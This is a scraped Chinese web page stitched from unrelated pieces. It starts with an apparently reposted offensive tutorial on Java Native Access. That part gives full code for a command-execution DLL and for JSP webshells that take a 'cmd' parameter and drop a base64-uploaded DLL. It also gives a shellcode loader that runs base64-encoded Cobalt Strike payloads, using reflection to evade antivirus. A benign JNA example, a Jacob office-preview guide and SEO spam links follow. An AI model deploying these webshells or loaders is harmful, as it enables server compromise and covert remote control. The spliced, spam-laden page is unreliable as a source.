整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          JNA 調用動態鏈接庫

          JNA 調用動態鏈接庫

          在一次實際項目中遇到了無法調用exe可執行文件,利用JNA技術實現了內存加載exe、執行命令等操作,特來實踐一下。

          JNA 基礎知識

          JNA全稱:Java Native Access,是建立在JNI(Java Native Interface)技術之上的Java開源框架,JNA提供了一組Java工具類用于在運行期間動態訪問的系統本地庫。
          簡單理解就是:JNA提供了一個"橋梁",可以利用Java代碼直接訪問動態鏈接庫中的函數。

          調用JNI接口

          調用JNI接口的步驟為:

          • 創建工程,將dll文件放到工程下
          • 引入JNA相關的jar包
          • 創建繼承自Library類的接口
          • 接口中創建對象用于加載DLL/SO的類庫
          • 接口中聲明DLL/SO類庫頭文件中暴露的方法
          • 調用該方法

          編譯DLL

          以windows為例,使用Visual Studio 創建一個動態鏈接庫的工程,并定義一個頭文件testdll.h和源文件testdll.cpp。
          簡單實現一個SayHello的方法
          創建testdll.cpp,作用是用來實現被聲明的函數。

          #include "pch.h"
          #include "testdll.h"
          
          void SayHello()
          {
              std::cout << "Hello!你成功了!" << std::endl;
          }
          

          創建testdll.h頭文件,作用是用來聲明需要導出的函數接口

          #pragma once
          #include <iostream>
          
          extern "C" __declspec(dllexport) void SayHello();
          //聲明一個可被調用的函數“SayHello()”,它的返回類型是void。
          //extern "C"的作用是告訴編譯器將被它修飾的代碼按C語言的方式進行編譯
          //__declspec(dllexport),此修飾符告訴編譯器和鏈接器被它修飾的函數或變量需要從DLL導出
          

          而后編譯出dll。
          注意:要DLL位數要與JDK位數相同,否則無法調用。

          導入JAR包

          首先創建java工程,可以是普通項目也可以是maven功能。
          maven 需要導入依賴

          <dependency>
            <groupId>net.java.dev.jna</groupId>
            <artifactId>jna</artifactId>
            <version>5.13.0</version>
          </dependency>
          <dependency>
            <groupId>net.java.dev.jna</groupId>
            <artifactId>jna-platform</artifactId>
            <version>5.13.0</version>
          </dependency>
          

          普通工程可以在 https://github.com/java-native-access/jna 下載jna jar包和platform jar包并導入。

          調用DLL

          我們需要繼承Library類接口,調用Native類的load方法將我們的testdll.dll加載進來并轉換為本地庫,而后聲明SayHello方法。

          public interface Mydll extends Library {
          
              Mydll mydll=(Mydll)Native.load("testdll",Mydll.class);
              void SayHello();
          }
          

          調用時不需要鏈接庫的后綴,會自動加上。
          聲明SayHello方法時,結合testdll.h頭文件,沒有返回值為void,也沒有需要的數據類型。(需要的話可查找JNA 數據類型對應關系)

          然后在主方法里調用SayHello方法

          public static void main(String[] args) {
              Mydll.mydll.SayHello();
          }
          

          可以看到成功調用了testdll.dll的SayHello方法。

          加載動態鏈接庫

          在上面的代碼中,我們直接利用Native.load將dll轉換為本地庫,在此之前缺少了加載這一步。
          常見的加載動態鏈接庫有三種方法:

          • System.load / System.loadLibrary
          • Runtime.getRuntime().load / Runtime.getRuntime().loadLibrary
          • com.sun.glass.utils.NativeLibLoader.loadLibrary

          在使用時也有一些區別:load接收的是系統的絕對路徑,loadLibrary接收的是相對路徑。
          但實際利用過程中肯定是絕對路徑優先于相對路徑。
          以Runtime.getRuntime().load為例:

          但實際利用可能會被安全軟件捕捉。我們反射調用loadLibrary方法。
          代碼來自Java加載動態鏈接庫這篇文章

          try {
              Class clazz=Class.forName("java.lang.ClassLoader");
              java.lang.reflect.Method method=clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
              method.setAccessible(true);
              method.invoke(null, clazz, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll", true);
              Mydll mydll=(Mydll)Native.load("testdll",Mydll.class);
              mydll.SayHello();
          }catch (Exception e){
              e.printStackTrace();
          }
          

          場景利用

          現在我們想一下具體場景的利用,在此基礎上調整我們的代碼。

          webshell

          既然jna加載動態鏈接庫后轉換為本地庫,可以調用dll的任意方法,那實現一個命令執行應該也是可以的。

          #include "pch.h"
          #include "command.h"
          
          #include <cstdlib>
          #include <string>
          
          void executeCommand(const char* command) {
              char psBuffer[128];
              FILE* pPipe;
          
              if ((pPipe=_popen(command, "r"))==NULL)
              {
                  exit(1);
              }
          
              while (fgets(psBuffer, 128, pPipe))
              {
                  puts(psBuffer);
              }
          
              int endOfFileVal=feof(pPipe);
              int closeReturnVal=_pclose(pPipe);
          
              if (endOfFileVal)
              {
                  printf("\nProcess returned %d\n", closeReturnVal);
              }
              else
              {
                  printf("Error: Failed to read the pipe to the end.\n");
              }
          }
          

          相應的頭文件

          #pragma once
          #include <iostream>
          
          extern "C" __declspec(dllexport) void executeCommand(const char* command);
          

          java代碼加載并調用。

          import com.sun.jna.Library;
          import com.sun.jna.Native;
          
          public class test {
          
          	public interface Mydll extends Library {
                  void executeCommand(String command);
              }
              public static void main(String[] args) {
              	try {
                      Class clazz=Class.forName("java.lang.ClassLoader");
                      java.lang.reflect.Method method=clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
                      method.setAccessible(true);
                      method.invoke(null, clazz, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll", true);
                      Mydll mydll=(Mydll)Native.load("testdll",Mydll.class);
                      mydll.executeCommand("ipconfig");
              	}catch (Exception e){
                      e.printStackTrace();
                  }
          
              }
          
          }
          

          成功實現。結合實際利用我們還需要優化一下代碼,改成jsp腳本文件。因為com.sun.jna包是第三方包,在實際利用肯定沒有。所以這里選擇將自己寫的代碼和jna.jar一塊用maven打包為maven02-1.0-SNAPSHOT-jar-with-dependencies.jar試試。

          再把test類名修改為show,把dll動態鏈接庫和將要執行的命令作為參數傳遞進去。
          現在還差一個加載外部的jar包并調用方法的jsp腳本文件。

          <%@ page import="java.lang.reflect.Method" %>
          <%@ page import="java.net.URL" %>
          <%@ page import="java.net.URLClassLoader" %>
          
          
          <%
              String path="file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";
              URLClassLoader urlClassLoader=null;
              Class<?> MyTest=null;
              //通過URLClassLoader加載外部jar
              urlClassLoader=new URLClassLoader(new URL[]{new URL(path)});
              //獲取外部jar里面的具體類對象
              MyTest=urlClassLoader.loadClass("com.jna.jnatest");
              //創建對象實例
              Object instance=MyTest.newInstance();
              //獲取實例當中的方法名為show
              Method method=MyTest.getMethod("show", String.class,String.class);
              //傳入實例以及方法參數信息執行這個方法
              Object ada=method.invoke(instance, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll","whoami");
          %>
          

          這樣用的時候需要向目標服務器手動上傳兩個文件,jar包和dll文件。我們再進一步優化一下。

          <%@ page import="java.lang.reflect.Method" %>
          <%@ page import="java.net.URLClassLoader" %>
          <%@ page import="java.net.URL" %>
          
          <%!
          
              private String getFileName(){
                  String fileName="";
                  java.util.Random random=new java.util.Random(System.currentTimeMillis());
                  String os=System.getProperty("os.name").toLowerCase();
                  if (os.contains("windows")){
                      fileName="C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll";
                  }else {
                      fileName="/tmp/"+ random.nextInt(10000000) + ".so";
                  }
                  return fileName;
              }
          
          
              public String UploadBase64DLL(String base64) throws Exception {
                  sun.misc.BASE64Decoder b=new sun.misc.BASE64Decoder();
                  java.io.File file=new java.io.File(getFileName());
                  java.io.FileOutputStream fos=new java.io.FileOutputStream(file);
                  fos.write(b.decodeBuffer(base64));
                  fos.close();
                  return file.getAbsolutePath();
              }
          %>
          <%
              try{
                  String cmd=request.getParameter("cmd");
                  String base64=request.getParameter("base64");
                  String file=UploadBase64DLL(base64);
                  String path="file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";
                  //通過URLClassLoader加載外部jar
                  URLClassLoader urlClassLoader=new URLClassLoader(new URL[]{new URL(path)});
                  //獲取外部jar里面的具體類對象
                  Class<?> MyTest=urlClassLoader.loadClass("com.jna.jnatest");
                  //創建對象實例
                  Object instance=MyTest.newInstance();
                  //獲取實例當中的方法名為show,參數只有一個且類型為string的public方法
                  Method method=MyTest.getMethod("show", String.class,String.class);
                  //傳入實例以及方法參數信息執行這個方法
                  Object ada=method.invoke(instance, file,cmd);
          
          
              }
              catch (Exception e){
                  out.println(e);
              }
          
          %>
          

          現在只需要手動上傳一個jar包就可以,dll通過base64編碼上傳上去。這樣參數值就是base64編碼之后的dll和cmd要執行的系統命令。

          唯一的缺點就是不能在前端顯示,或許將代碼加入到冰蝎可以實現?

          shellcode

          既然前端無法獲取結果,那直接加載shellcode上線cs呢?
          我們利用同樣的方式寫出加載shellcode的代碼。
          shellcode.cpp

          #include "shellcode.h"
          #include <iostream>
          
          
          using namespace std;
          
          void shellcode(PCHAR code, DWORD buf_len) {
          
              cout << buf_len << endl;
              DWORD oldprotect=0;
              LPVOID  base_addr=NULL;
              //  申請一塊buf_len長度大小的空間,RW權限,不要開rwx,PAGE_EXECUTE_READWRITE 
              base_addr=VirtualAlloc(0, buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
              // 復制shellcode到新的空間,這個函數比較罕見,用memcpy也可以呀
              unsigned char HexNumArray[4096];
              int num=HexStr2HexNum(code, buf_len, HexNumArray);
              RtlMoveMemory(base_addr, HexNumArray, buf_len);
              // 修改為執行RX權限
              VirtualProtect(base_addr, buf_len, PAGE_EXECUTE_READ, &oldprotect);
              cout << "starting spawn shellcode" << endl;
              // 當前進程創建線程執行shellcode
              auto ct=CreateThread(0, 0, (LPTHREAD_START_ROUTINE)base_addr, 0, 0, 0);
              // 等待線程返回值
              WaitForSingleObject(ct, -1);
              // 釋放內存
              free(base_addr);
          }
          
          int HexStr2HexNum(char* HexStrArray, int len, unsigned char* HexNumArray)
          {
              int j=0;
              for (int i=0; i < len; i +=2)
              {
                  if (HexStrArray[i]==0x5C || HexStrArray[i]==0x58 || HexStrArray[i]==0x78)
                  {
                      continue;
                  }
                  char HIGH_BYTE=0;
                  char LOW_BYTE=0;
                  //high 4
                  if (HexStrArray[i] >=0x30 && HexStrArray[i] <=0x3A)
                  {
                      HIGH_BYTE=HexStrArray[i] - 0x30;
                  }
                  else if (HexStrArray[i] >=0x41 && HexStrArray[i] <=0x47)
                  {
                      HIGH_BYTE=HexStrArray[i] - 0x37;
                  }
                  else if (HexStrArray[i] >=0x61 && HexStrArray[i] <=0x67)
                  {
                      HIGH_BYTE=HexStrArray[i] - 0x57;
                  }
                  else
                  {
                      printf("Please make sure the format of Hex String is correct!\r\n");
                      printf("The wrong char is \"%c\", and its number is % d\r\n", HexStrArray[i], i);
                      return -1;
                  }
          
                  //low 4
                  if (HexStrArray[i + 1] >=0x30 && HexStrArray[i + 1] <=0x3A)
                  {
                      LOW_BYTE=HexStrArray[i + 1] - 0x30;
                  }
                  else if (HexStrArray[i + 1] >=0x41 && HexStrArray[i + 1] <=0x47)
                  {
                      LOW_BYTE=HexStrArray[i + 1] - 0x37;
                  }
                  else if (HexStrArray[i + 1] >=0x61 && HexStrArray[i + 1] <=0x67)
                  {
                      LOW_BYTE=HexStrArray[i + 1] - 0x57;
                  }
                  else
                  {
                      printf("Please make sure the format of Hex String is correct!\r\n");
                      printf("The wrong char is \"%c\", and its number is % d\r\n", HexStrArray[i], i);
                      return -1;
                  }
          
                  HexNumArray[j] &=0x0F;
                  HexNumArray[j] |=(HIGH_BYTE << 4);
                  HexNumArray[j] &=0xF0;
                  HexNumArray[j] |=LOW_BYTE;
                  j++;
              }
              return 0;
          }
          

          shellcode.h

          #pragma once
          #include <Windows.h>
          
          
          extern "C" __declspec(dllexport) BOOL shellcode(PCHAR code, DWORD size);
          int HexStr2HexNum(char* HexStrArray, int len, unsigned char* HexNumArray);
          

          在java里加載并調用,傳入shellcode和長度。以達到更好的免殺性。

          import java.util.Base64;
          import com.sun.jna.Library;
          import com.sun.jna.Native;
          
          
          public class test {
          
          	public interface Mydll extends Library {
                  void shellcode(byte[] b,int length);
              }
          
              public static void show(String base64,String dllpath,String dllname) {
                  try {
                      Class clazz=Class.forName("java.lang.ClassLoader");
                      java.lang.reflect.Method method=clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
                      method.setAccessible(true);
                      method.invoke(null, clazz, dllpath, true);
                      Mydll mydll=(Mydll)Native.load(dllname,Mydll.class);
                      byte[] base64decodedBytes=java.util.Base64.getDecoder().decode(base64);
                      int leng=base64decodedBytes.length;
                      mydll.shellcode(base64decodedBytes,leng);
                  }catch (Exception e){
                      e.printStackTrace();
                  }
              }
          	
          	public static void main(String[] args) {
          		String base64encodedString="XHhmY1x4NDhxxxxxxxxxxxxxxx";
          		show(base64encodedString,"C:\\Windows\\Temp\\jna.dll","jna");
              }
          }
          

          此時只需要將shellcode值base64編碼當做字符傳遞即可。測試一下

          可以看到正常上線,進程為javaw.exe。
          那在實際環境中同樣不能這樣利用。依舊把java代碼打包為jar包,再修改一下jsp腳本文件應該就可以在實際運行了。

          <%@ page import="java.lang.reflect.Method" %>
          <%@ page import="java.net.URLClassLoader" %>
          <%@ page import="java.net.URL" %>
          
          <%!
          
              private String getFileName(String dllname){
                  String fileName="";
                  String os=System.getProperty("os.name").toLowerCase();
                  if (os.contains("windows")){
                      fileName="C:\\Windows\\Temp\\" + dllname + ".dll";
                  }else {
                      fileName="/tmp/"+ dllname + ".so";
                  }
                  return fileName;
              }
          
          
              public String UploadBase64DLL(String base64,String dllname) throws Exception {
                  sun.misc.BASE64Decoder b=new sun.misc.BASE64Decoder();
                  java.io.File file=new java.io.File(getFileName(dllname));
                  java.io.FileOutputStream fos=new java.io.FileOutputStream(file);
                  fos.write(b.decodeBuffer(base64));
                  fos.close();
                  return file.getAbsolutePath();
              }
          %>
          <%
              try{
          
                  String shellcode=request.getParameter("shellcode");
                  String base64dll=request.getParameter("base64dll");
                  String dllname=request.getParameter("dllname");
                  String pathdll=UploadBase64DLL(base64dll,dllname);
                  String path="file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";
                  URLClassLoader urlClassLoader=new URLClassLoader(new URL[]{new URL(path)});
                  Class<?> MyTest=urlClassLoader.loadClass("com.jna.jnatest");
                  Object instance=MyTest.newInstance();
                  Method method=MyTest.getMethod("show", String.class,String.class,String.class);
                  Object ada=method.invoke(instance,shellcode, pathdll,dllname);
          
              }
              catch (Exception e){
                  out.println(e);
              }
          
          %>
          

          以tomcat為例,shellcode 即將cobaltstrike的shellcode進行base64編碼,base64dll 是base64編碼dll動態鏈接庫之后的值,dllname即是dll動態鏈接庫的名稱。
          測試可以正常上線執行命令。上線進程為java.exe。

          總結

          在學習JNA調用動態鏈接庫的時候,借鑒了很多思路,用稍微復雜點的辦法完善自己的代碼,來曲折得實現效果。

          from https://www.freebuf.com/articles/web/365421.html

          . JNA

          • JNA介紹

          JNA(Java Native Access )提供一組Java工具類用于在運行期動態訪問系統本地庫(native library:如Window的dll)而不需要編寫任何Native/JNI代碼。開發人員只要在一個java接口中描述目標native library的函數與結構,JNA將自動實現Java接口到native function的映射。

          https://github.com/java-native-access/jna 
          https://java-native-access.github.io/jna/5.3.0/javadoc/
          
          • 優點

          JNA可以讓你像調用一般java方法一樣直接調用本地方法。就和直接執行本地方法差不多,而且調用本地方法還不用額外的其他處理或者配置什么的,也不需要多余的引用或者編碼,使用很方便。

          • JNA描述

          JNA類庫使用一個很小的本地類庫sub動態的調用本地代碼。程序員只需要使用一個特定的java接口描述一下將要調用的本地代碼的方法的結構和一些基本屬性。這樣就省了為了適配多個平臺而大量的配置和編譯代碼。因為調用的都是JNA提供的公用jar 包中的接口。

          • 缺點

          JNA是建立在JNI技術基礎之上的一個Java類庫,原來使用JNI,你必須手工用C寫一個動態鏈接庫,在C語言中映射Java的數據類型。JNA中,它提供了一個動態的C語言編寫的轉發器,可以自動實現Java和C的數據類型映射。你不再需要編寫C動態鏈接庫。當然,這也意味著,使用JNA技術比使用JNI技術調用動態鏈接庫會有些微的性能損失。可能速度會降低幾倍。但影響不大。

          • 關于jna-platform

          其實很多情況下,jna.jar就完全滿足一般項目開發的需要了,比如數據 類型的映射和常用的方法等等,這些C/C++中基礎的映射已經可以實現,包括一些基本的平臺方法,但是,真實涉及到比較深入的平臺方法的時候,就需要platform.jar的幫助了,platform.jar是依賴于jna.jar實現的,包括了FileMonitor、FileUtils、KeyboardUtils、WindowUtil等Win32和平臺相關的簡化動態訪問功能類中的大部分常用方法,為開發者開發自己的跨平臺映射方法提供參考。

          所以platform.jar對于jna.jar是一種補充和擴展,jna.jar相當于核,platfrorm.jar相當于增量插件。

          2. JNA使用

          • pom.xml 引入
          <dependency>
              <groupId>net.java.dev.jna</groupId>
              <artifactId>jna</artifactId>
              <version>5.13.0</version>
          </dependency>
          <dependency>
              <groupId>net.java.dev.jna</groupId>
              <artifactId>jna-platform</artifactId>
              <version>5.13.0</version>
          </dependency>
          

          使用的函數必須與鏈接庫中的函數原型保持一致,這是JNA甚至所有跨平臺調用的難點,因為C/C++的類型與Java的類型是不一樣的,必須轉換成java對應類型讓它們保持一致,這就是類型映射(Type Mappings),JNA官方給出的默認類型映射表如下:

          其中類型映射的難點在于結構體、指針和函數回調。

          • 創建頭文件 TestJna.h
          #ifndef _TestJna_h
          #define _TestJna_h
          
          #ifdef __cplusplus
          extern "C" {
          #endif
          
              int add(int a, int b);
          
              int sub(int a, int b);
          
          #ifdef __cplusplus
          }
          #endif
          #endif
          
          • 創建頭文件 TestJna.cpp
          #include "TestJna.h"
          
          extern "C" int add(int a, int b){
            return a+b;
          }
               
          extern "C" int sub(int a, int b){
           return a-b;
          }
          

          注意:一定要加extern "C"否則生成的方法名跟cpp文件定義的方法名不一致。

          查看so方法名

          nm -D libTestJnaEx.so | grep add
          nm -D libTestJnaEx.so | grep sub
          
          • 生成動態連接庫so文件
          g++ TestJna.cpp -fPIC  -shared -o libTestJnaEx.so
          
          • 拷貝so文件到/usr/lib目錄
          cp libTestJnaEx.so /usr/lib
          
          • 創建TestJna.java文件
          import com.sun.jna.Library;
          import com.sun.jna.Native;
          
          public class TestJnaEx {
           
           public interface CLibrary extends Library {
            CLibrary INSTANCE=(CLibrary) Native.load("TestJnaEx", CLibrary.class);
          
            int add(int a, int b);
            
            int sub(int a, int b);
           }
          
           public static void main(String[] args) {
            int sum=CLibrary.INSTANCE.add(2, 3);
            System.out.println(sum);
            
            int diff=CLibrary.INSTANCE.sub(5, 3);
            System.out.println(diff);
           }
           
          }
          

          導出可執行jar文件TestJnaEx.jar

          • 執行TestJnaEx.jar
          java -jar TestJnaEx.jar
          

          結果

          師傅領進門,修行在個人。

          天,寫了一篇復雜word模板導出的設置,好多粉絲都私信問我如何實現在線預覽的功能~~

          那么我們今天就重點來講講office文檔(word、excel、ppt、pdf)如何通過java在windows以及linux服務器環境下實現在線預覽的效果~~

          一:windows篇

          如果你的服務器部署在windows下面,要想實現office文檔的在線預覽功能,就比較的簡單了,目前主流的工作有JNA調用方式、openoffice服務調用轉換方式等等。

          但是,個人并不推薦使用openoffice,因為他在轉換時,會出現文件變形、字符亂碼、XML格式轉換無效、大文件轉換超時失敗等等一系列讓你很尷尬的問題!

          那么,既然是在windows服務器,我覺得最簡單實用的方式就是JNA調用方式

          目前,應用比較普及的是jcom、jacob插件,jcom僅僅支持32位jdk,所以還是選擇jacob比較方便,相關的jacob.dll去網上下載即可,百度一下,一大把~~~~

          jacob(即:JAva COm Bridge)配置,首先需要將下載的jacob.dll文件拷貝到C:/WINDOWS/system32目錄下,并將jacob.jar添加到CLASSPATH中。

          那么此時,所有的office都可以調用其“另存為”的功能,可以另存為PDF、HTML、JPG等等許許多多的格式,進而可以加載轉換后的路徑,實現在線預覽。

          那么,我們就重點一步一步來講一下,如何通過JACOB調用com組件的另存為的功能~~~

          1:ComThread.InitSTA(); com組件線程的初始化

          2:ActiveXComponent app=null;

          app=new ActiveXComponent("Powerpoint.Application"); ---PPT

          app=new ActiveXComponent("Word.Application"); ---WORD

          app=new ActiveXComponent("Excel.Application"); ---Excel

          啟動 ppt、word、excel的com組件

          擴展一下:JACOB獲取com組件的類型包括

          jacob常用的com組件

          3:組件的屬性設置

          app.setProperty("Visible", false); ----不可見,另存轉換時,設置文檔不可見

          此處一直沒有找到一個最全的屬性設置的方法名的API手冊,大家有的話希望能給我分享一下。

          4:獲取文檔控制權

          Dispatch docs=app.getProperty("Documents").toDispatch();

          Workbooks---Excel

          Presentations ---PPT

          Documents---WORD

          5:把目標文檔的內容,賦給當前新建的文檔

          Dispatch doc=Dispatch.call(docs,"Open",sourceUrl,false,true ).toDispatch();

          docs----新起的com文檔 ;Open-----打開文檔

          sourceUrl----目標文檔路徑;false---是否確認轉換;true----是否只讀

          6:調用“另存為”方法,比如另存為HTML

          Dispatch.invoke(doc, "SaveAs", Dispatch.Method, new Object[] {htmlfileUrl, new Variant(10) }, new int[1]);

          htmlfileUrl-----為word另存為HTML的路徑地址

          “10”-----這個參數就是代表的是,另存為HTML格式。

          7:關閉當前文檔并退出!!!!!!!

          Variant f=new Variant(false);

          Dispatch.call(doc, "Close", f);

          app.invoke("Quit", new Variant[] {});

          其實,說這么多,也就是調用了一個另存為的功能。其實JACOB還有許許多多的功能,比如對于文檔內容、域、書簽等等操作還需要對JACOB以及相關com組件自己的API方法加深查看~~

          下面就貼一些為了實現《另存為》轉換的三種office文檔的代碼吧~~

          word轉HTML

          excel轉HTML

          PPT轉圖片文件夾

          最后,可以通過調用相關的html的地址、pdf的地址、圖片文件夾的地址(PPT轉成圖片文件夾時,都按照PPT的順序排好了順序),就可以實現在線預覽了~~~這種方式word不會變形、xls不管有多少sheet頁也不會變形、ppt順序不會混亂~~~

          那么下一篇,我們就重點說一下在LINUX環境下,如何實現這些功能!因為LINUX無法調用JNA組件!!!!


          主站蜘蛛池模板: 亚洲性日韩精品国产一区二区| 国产在线不卡一区二区三区 | 一区二区三区在线观看中文字幕 | 欧洲亚洲综合一区二区三区| 福利在线一区二区| 一区二区三区高清视频在线观看| 国产福利微拍精品一区二区| 国产自产V一区二区三区C| 国产精品一区二区四区| 亚洲AV无码一区二区乱子仑| 日韩精品在线一区二区| 国产一区麻豆剧传媒果冻精品| 精品免费AV一区二区三区| 免费精品一区二区三区在线观看| 一区二区三区视频在线观看| 国产成人精品一区二区三区免费| 一区 二区 三区 中文字幕| 免费无码AV一区二区| 男人的天堂精品国产一区| 亚洲AV一区二区三区四区| 久久精品国产AV一区二区三区| 日韩精品无码一区二区中文字幕| 亚洲国产国产综合一区首页| 日韩人妻无码一区二区三区综合部| 精品一区二区三区免费毛片| 国产精品视频免费一区二区三区 | 亚洲人成人一区二区三区| 中文字幕一区二区三区有限公司 | 日本一区频道在线视频| 韩国福利一区二区美女视频| 亚洲乱码一区二区三区国产精品| 麻豆一区二区三区精品视频| 国产精品视频一区麻豆| 在线电影一区二区| 全国精品一区二区在线观看| 中文字幕在线观看一区| 久久亚洲AV午夜福利精品一区| 蜜臀AV免费一区二区三区| 亚洲av无一区二区三区| 国产一区二区三区免费在线观看| 一区二区三区在线观看免费|